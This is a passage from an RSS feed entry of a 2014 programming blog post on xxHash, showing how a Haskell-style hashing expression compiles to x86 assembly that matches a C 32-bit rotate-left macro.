      (__word <span class="dv">2654435761</span>)))</code></pre>
<ol start="3" style="list-style-type: decimal">
<li>Which begat:</li>
</ol>
<pre class="sourceCode gnuassembler"><code class="sourceCode gnuassembler"><span class="kw">_c31A:</span>
...
	movl $2654435761,%esi
	movq %rcx,%rax
	shrq $19,%rax
	shlq $13,%rcx
	orq %rax,%rcx
	movl %ecx,%eax
	imulq %rsi,%rax
...</code></pre>
<p>Which looks a lot like like:</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="ot">#define rotl32(x,r) ((x &lt;&lt; r) | (x &gt;&gt; (32 - r))</span></code></pre>
<p>Neat! Well. I thought so.</p>]]></description>
    <pubDate>Fri, 10 Jan 2014 00:00:00 UT</pubDate>
    <guid>http://ponies.io//posts/2014-01-10-xxhash.html</guid>
    <dc:creator>Christian Marie</dc:creator>
</item>

    </channel>
</rss>
